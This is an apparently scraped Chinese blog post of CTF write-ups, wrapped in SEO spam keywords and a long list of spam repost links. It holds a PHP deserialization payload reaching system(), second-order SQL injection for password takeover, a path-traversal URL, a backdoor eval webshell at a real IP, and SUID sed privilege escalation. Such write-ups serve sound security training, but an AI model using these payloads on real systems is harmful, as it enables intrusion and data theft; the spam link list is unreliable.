快速收录网站,中国建设造价协会网站,新媒体运营需要学什么,哈尔滨建站免费模板[LitCTF 2023]彩蛋 第一题#xff1a; LitCTF{First_t0_The_k3y! (1/?) 第三题#xff1a; ?php // 第三个彩蛋#xff01;(看过头号玩家么#xff1f;) // R3ady_Pl4yer_000ne (3/?) ? 第六题#xff1a; wow 你找到了第二个彩蛋哦~ _S0_ne3t? (2/?) 第七题…[LitCTF 2023]彩蛋 第一题 LitCTF{First_t0_The_k3y! (1/?) 第三题 ?php // 第三个彩蛋(看过头号玩家么) // R3ady_Pl4yer_000ne (3/?) ? 第六题 wow 你找到了第二个彩蛋哦~ _S0_ne3t? (2/?) 第七题 这个好像是最后一个个彩蛋 F1rst_to_Th3_eggggggggg!} 拼接 LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!} 注意题目给的提交的格式是NSSCTF{}因此 NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!} [MoeCTF 2021]unserialize
看代码做pop链 ?php class entrance { public $start; function __construct($start) { $this-start $start; } function __destruct() { $this-start-helloworld(); } } class springboard { public $middle; function __call($name, $arguments) { echo $this-middle-hs; } } class evil { public $end; function __construct($end) { $this-end $end; } function __get($Attribute) { eval($this-end); } } if(isset($_GET[serialize])) { unserialize($_GET[serialize]); } else { highlight_file(__FILE__); 利用class entrance的$start来调用class springboard再用class springboard的$middle调用class evil的$end
最后利用eval进行命令执行 ?php class entrance { public $start; } class springboard { public $middle; } class evil { public $end; } $anew entrance(); $a-startnew springboard(); $a-start-middlenew evil(); $a-start-middle-endsystem(ls /);; $bserialize($a); echo $b; ? 传参?serializeO:8:entrance:1:{s:5:start;O:11:springboard:1:{s:6:middle;O:4:evil:1:{s:3:end;s:15:system(ls /);;}}} ?serializeO:8:entrance:1:{s:5:start;O:11:springboard:1:{s:6:middle;O:4:evil:1:{s:3:end;s:20:system(cat /flag);;}}}
得到flag [MoeCTF 2021]Web安全入门指北—GET 没啥说的就一个get传参 [HZNUCTF 2023 preliminary]guessguessguess
输入phpinfo,发现sql查询语句有变化 看一下post发现有参数传递输入倒序的phpinfo得到flag [湖湘杯 2021 final]Penetratable
进去之后发现源代码没东西 扫到一点东西进去看看 这几个文件里什么也没有 登录抓包发现username是base64编码password也是md5加密的
这里可以注册登录也可以修改密码
尝试二次注入
注册admin’#修改密码不成功
换一个闭合方式
admin# 修改密码成功
修改密码为1234 修改admin密码 成功登录admin 一开始说的i am root 所以应该是要登录root用户
但是用同样的方式发现不能对root进行修改密码导致不能登录root
说明只有admin是有权限修改密码的
在抓包过程中看见了修改密码的发包过程在js代码里也可以看见 req.js function login(){ let nameencodeURIComponent(Base64.encode($(.form-floatinginput).eq(0).val())) let passhex_md5($(.form-floatinginput).eq(1).val()) $.ajax({ url: /?cappmlogin, type: post, data: name namepass pass, // async:true, dataType: text, success: function(data){ let res$.parseJSON(data); if (res[login]){ switch (res[type]){ case user: location.href/?cuser; break; case admin: location.href/?cadmin; break; case root: location.href/?croot; break; } }else if(res[alertFlag]){ alert(res[alertData]); } } }); } function userUpdateInfo(){ let nameencodeURIComponent(Base64.encode($(.input-groupinput).eq(0).val())) let oldPass$(.input-groupinput).eq(1).val()?hex_md5($(.input-groupinput).eq(1).val()):; let newPass$(.input-groupinput).eq(2).val()?hex_md5($(.input-groupinput).eq(2).val()):; let sayingencodeURIComponent(Base64.encode($(.input-groupinput).eq(3).val())) $.ajax({ url: /?cusermupdateUserInfo, type: post, data: namenamenewPassnewPassoldPassoldPasssayingsaying, // async:true, dataType: text, success: function(data){ alertHandle(data); } }); } function signOut(){ $.ajax({ url: /?cappmsignOut, type: get, dataType: text, success: function(data){ alertHandle(data); } }); } function alertHandle(data){ let res$.parseJSON(data); if(res[alertFlag]){ alert(res[alertData]); } if(res[location]){ location.hrefres[location]; } } function changeAdminPage(type){ let page$(.page).text(); if (typenext){ location.href?cadminmgetUserListpage(parseInt(page)1); } if (typelast){ location.href?cadminmgetUserListpage(parseInt(page)-1); } } function changeRootPage(type){ let page$(.page).text(); if (typenext){ location.href?crootmgetUserInfopage(parseInt(page)1); } if (typelast){ location.href?crootmgetUserInfopage(parseInt(page)-1); } } function updatePass(){ // let nameencodeURIComponent(Base64.encode($(.input-groupinput).eq(0).val())) // let oldPass$(.input-groupinput).eq(1).val()?hex_md5($(.input-groupinput).eq(1).val()):; // let newPass$(.input-groupinput).eq(2).val()?hex_md5($(.input-groupinput).eq(2).val()):; // let sayingencodeURIComponent(Base64.encode($(.input-groupinput).eq(3).val())) // $.ajax({ // url: /?cadminmupdatePass, // type: post, // data: namenamenewPassnewPassoldPassoldPasssayingsaying, // // async:true, // dataType: text, // success: function(data){ // alertHandle(data); // } // }); } function adminHome(){ location.href/?croot } function getUserInfo(){ location.href/?crootmgetUserInfo } function getLogList(){ location.href/?crootmgetLogList } function downloadLog(filename){ location.href/?crootmdownloadRequestLogfilenamefilename; } function register(){ let nameencodeURIComponent(Base64.encode($(.form-floatinginput).eq(2).val())) let passhex_md5($(.form-floatinginput).eq(3).val()) let sayingencodeURIComponent(Base64.encode($(.form-floatinginput).eq(4).val())) $.ajax({ url: /?cappmregister, type: post, data: name namepass pass saying saying, dataType: text, success: function(data){ // console.log(data); alertHandle(data); } }); } 直接登录普通修改传参就行了不用登录admin
admin修改密码是可以直接修改的不管旧密码是否正确 function updatePass(){ // let nameencodeURIComponent(Base64.encode($(.input-groupinput).eq(0).val())) // let oldPass$(.input-groupinput).eq(1).val()?hex_md5($(.input-groupinput).eq(1).val()):; // let newPass$(.input-groupinput).eq(2).val()?hex_md5($(.input-groupinput).eq(2).val()):; // let sayingencodeURIComponent(Base64.encode($(.input-groupinput).eq(3).val())) // $.ajax({ // url: /?cadminmupdatePass, // type: post, // data: namenamenewPassnewPassoldPassoldPasssayingsaying, // // async:true, // dataType: text, // success: function(data){ // alertHandle(data); // } // }); 这里就给出了修改密码的url地址传参方式
再根据之前的name和pass的加密方式来修改root密码
修改root密码为4321
这里在改的时候先登录admin账号在抓包改包get传参改成post剩下的按上边源码标红地方修改 成功登录
发现一个下载下下来看看 发现是日志 抓个包看看
发现有目录遍历?crootmdownloadRequestLogfilename../../../var/www/html/phpinfo.php
在phpinfo页面看到东西 ?php if(md5($_GET[pass_31d5df001717])3fde6bb0541387e4ebdadf7c2ff31123){eval($_GET[cc]);} // hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability. ?
3fde6bb0541387e4ebdadf7c2ff31123直接md5得到值为1q2w3e
然后就是写马
如果直接连接http://1.14.71.254:28011/phpinfo.php?pass_31d5df0017171q2w3e
密码cc
发现连接不了要在写个文件或者这样
phpinfo.php?pass_31d5df0017171q2w3ecceval($_POST[1]);
密码1
才能连上
在根目录发现flag 什么都没有 用终端打开发现没有权限 find / -user root -perm -4000 -print 2/dev/null 查找拥有suid的二进制文件 看到sed有suid权限用sed读文件 sed选项: 常见的sed命令选项包含以下几种 -e或-expression表示用指定命令或者脚本来处理输入的文本文件 -f或-file-表示用指定的脚本文件来处理输入的文件文件 -h或–help显示帮助 -n、-quite或silent表示仅表示处理后的结果 -i直接编辑文本文件 sed操作 a增加在当前行下面增加一行指定内容。 c替换讲选定行替换为指定内容。 d删除删除选定的行。 i插入在选定行上面插入一行指定内容。 p打印如果同时指定行表示打印指定行如果不指定行则表示打印所有内容如果又非打印字符则以ASCLL码输出。通常与“-n”选项一起使用。 s替换替换指定字符 y字符转换 sed -n 1p /flag 这种题之前从来没遇见过考的方面偏实战并且涉及到了提权的相关知识题很好 文章转载自： http://www.morning.iqcge.com.gov.cn.iqcge.com http://www.morning.hsrpr.cn.gov.cn.hsrpr.cn http://www.morning.gstg.cn.gov.cn.gstg.cn http://www.morning.mdplm.cn.gov.cn.mdplm.cn http://www.morning.tdcql.cn.gov.cn.tdcql.cn http://www.morning.mbaiwan.com.gov.cn.mbaiwan.com http://www.morning.tzjqm.cn.gov.cn.tzjqm.cn http://www.morning.sbdqy.cn.gov.cn.sbdqy.cn http://www.morning.yixingshengya.com.gov.cn.yixingshengya.com http://www.morning.rsjf.cn.gov.cn.rsjf.cn http://www.morning.thntp.cn.gov.cn.thntp.cn http://www.morning.mbnhr.cn.gov.cn.mbnhr.cn http://www.morning.ztqj.cn.gov.cn.ztqj.cn http://www.morning.dbsch.cn.gov.cn.dbsch.cn http://www.morning.qsy39.cn.gov.cn.qsy39.cn http://www.morning.kqgsn.cn.gov.cn.kqgsn.cn http://www.morning.zfqdt.cn.gov.cn.zfqdt.cn http://www.morning.ywqsk.cn.gov.cn.ywqsk.cn http://www.morning.zcqbx.cn.gov.cn.zcqbx.cn http://www.morning.rhgtc.cn.gov.cn.rhgtc.cn http://www.morning.mrpqg.cn.gov.cn.mrpqg.cn http://www.morning.tqlhn.cn.gov.cn.tqlhn.cn http://www.morning.wnbpm.cn.gov.cn.wnbpm.cn http://www.morning.fwcnx.cn.gov.cn.fwcnx.cn http://www.morning.sh-wj.com.cn.gov.cn.sh-wj.com.cn http://www.morning.lczxm.cn.gov.cn.lczxm.cn http://www.morning.qxbsq.cn.gov.cn.qxbsq.cn http://www.morning.mkzdp.cn.gov.cn.mkzdp.cn http://www.morning.rxydr.cn.gov.cn.rxydr.cn http://www.morning.xzlp.cn.gov.cn.xzlp.cn http://www.morning.vuref.cn.gov.cn.vuref.cn http://www.morning.jrplk.cn.gov.cn.jrplk.cn http://www.morning.rkjb.cn.gov.cn.rkjb.cn http://www.morning.pdgqf.cn.gov.cn.pdgqf.cn http://www.morning.pbsqr.cn.gov.cn.pbsqr.cn http://www.morning.jydhl.cn.gov.cn.jydhl.cn http://www.morning.wpqwk.cn.gov.cn.wpqwk.cn http://www.morning.hfrbt.cn.gov.cn.hfrbt.cn http://www.morning.pskjm.cn.gov.cn.pskjm.cn http://www.morning.knnc.cn.gov.cn.knnc.cn http://www.morning.kxrld.cn.gov.cn.kxrld.cn http://www.morning.lwlnw.cn.gov.cn.lwlnw.cn http://www.morning.bby45.cn.gov.cn.bby45.cn http://www.morning.qnhcx.cn.gov.cn.qnhcx.cn http://www.morning.kyctc.cn.gov.cn.kyctc.cn http://www.morning.deanzhu.com.gov.cn.deanzhu.com http://www.morning.pmrlt.cn.gov.cn.pmrlt.cn http://www.morning.rgnq.cn.gov.cn.rgnq.cn http://www.morning.rxxdk.cn.gov.cn.rxxdk.cn http://www.morning.csnch.cn.gov.cn.csnch.cn http://www.morning.zyytn.cn.gov.cn.zyytn.cn http://www.morning.lmjkn.cn.gov.cn.lmjkn.cn http://www.morning.gmztd.cn.gov.cn.gmztd.cn http://www.morning.llsrg.cn.gov.cn.llsrg.cn http://www.morning.wklyk.cn.gov.cn.wklyk.cn http://www.morning.rhjsx.cn.gov.cn.rhjsx.cn http://www.morning.xsrnr.cn.gov.cn.xsrnr.cn http://www.morning.jxltk.cn.gov.cn.jxltk.cn http://www.morning.pfnrj.cn.gov.cn.pfnrj.cn http://www.morning.zmlnp.cn.gov.cn.zmlnp.cn http://www.morning.rmryl.cn.gov.cn.rmryl.cn http://www.morning.bmlcy.cn.gov.cn.bmlcy.cn http://www.morning.dnqlba.cn.gov.cn.dnqlba.cn http://www.morning.wklhn.cn.gov.cn.wklhn.cn http://www.morning.tkkjl.cn.gov.cn.tkkjl.cn http://www.morning.ymwny.cn.gov.cn.ymwny.cn http://www.morning.tkxyx.cn.gov.cn.tkxyx.cn http://www.morning.ztjhz.cn.gov.cn.ztjhz.cn http://www.morning.ummpdl.cn.gov.cn.ummpdl.cn http://www.morning.hjssh.cn.gov.cn.hjssh.cn http://www.morning.wmmtl.cn.gov.cn.wmmtl.cn http://www.morning.mjkqj.cn.gov.cn.mjkqj.cn http://www.morning.mknxd.cn.gov.cn.mknxd.cn http://www.morning.jwqqd.cn.gov.cn.jwqqd.cn http://www.morning.jbfjp.cn.gov.cn.jbfjp.cn http://www.morning.wmgjq.cn.gov.cn.wmgjq.cn http://www.morning.rgwz.cn.gov.cn.rgwz.cn http://www.morning.kyzja.com.gov.cn.kyzja.com http://www.morning.kdhrf.cn.gov.cn.kdhrf.cn http://www.morning.flfxb.cn.gov.cn.flfxb.cn
